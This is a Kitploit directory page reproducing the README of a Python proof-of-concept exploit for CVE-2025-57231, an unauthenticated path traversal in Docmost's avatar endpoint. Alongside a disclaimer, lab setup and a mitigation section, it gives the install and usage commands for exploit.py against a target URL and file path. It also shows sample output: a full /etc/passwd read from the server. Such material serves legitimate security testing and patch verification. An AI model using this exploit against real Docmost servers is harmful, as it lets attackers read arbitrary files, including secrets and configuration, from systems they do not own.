Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-57231 — Python PoC exploit for CVE-2025-57231, an unauthenticated path traversal in Docmost < 0.22.0 that reads arbitrary files via the avatar endpoint. | Kitploit
Tools/GitHubGitHub/anirbala98/cve-2025-57231
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringWeb SecurityPenetration Testing
GitHubanirbala98/cve-2025-57231

CVE-2025-57231

Python PoC exploit for CVE-2025-57231, an unauthenticated path traversal in Docmost < 0.22.0 that reads arbitrary files via the avatar endpoint.

View Repository
14h 20m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-57231 - Docmost < 0.22.0 - Arbitrary File Read

This repo contains a Proof of Concept(PoC) exploit for CVE-2025-57231.

Disclaimer

This project is provided for educational purposes and authorized security testing only. Do not use it against systems that you do not own or have permission to test.

Overview

A directory traversal vulnerability in Docmost allows arbitrary file read from version 0.2.1 to 0.21.0. The application's /api/attachments/img/avatar endpoint does not properly validate file paths and is publicly accessible without any authentication. This allows unauthenticated attackers to retrieve arbitrary file contents from the target by probing the /avatar endpoint with %2F sequences.

Affected Version

All Docmost versions from 0.2.1 until 0.21.0 are affected.

Requirements

  • Python 3.13.14
  • Requests 2.32.5

Vulnerable environment setup

Prerequisites: Docker and Docker compose installed

  1. Create a home directory and download docker-compose file
root@kitploit:~
mkdir docmost
cd docmost
curl -O https://raw.githubusercontent.com/docmost/docmost/main/docker-compose.yml
  1. Edit the docker-compose.yml file
root@kitploit:~
# Generate a long random secret key
openssl rand -hex 32

# Open the docker-compose.yml file and make the following changes:
# 1. Replace `image: docmost/docmost:latest` with `image: docmost/docmost:0.21.0`
# 2. Replace `APP_SECRET` with the random secret key generated above 
  1. Start the container
root@kitploit:~
sudo docker-compose up -d
  1. Enter Workspace details

Navigate to http://localhost:3000/ and enter dummy details for workspace name, name, email and password

Exploit installation

root@kitploit:~
git clone https://github.com/anirbala98/CVE-2025-57231.git
cd CVE-2025-57231/
pip install -r requirements.txt

Usage

root@kitploit:~
python exploit.py <base_url> -f <file location>
python exploit.py http://localhost:3000/ -f /etc/passwd

Example

root@kitploit:~
└─$ python exploit.py http://localhost:3000/ -f /etc/passwd
[*] Attempting to read arbitrary file

root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh

Mitigation

Upgrade the plugin to version 0.22.0.

References

  • https://github.com/advisories/GHSA-59m3-fj8c-996g
  • https://nvd.nist.gov/vuln/detail/CVE-2025-57231
  • https://www.artresilia.com/docmost-v0-21-0-cve-2025-57231-unauthenticated-file-path-traversal
Download Tool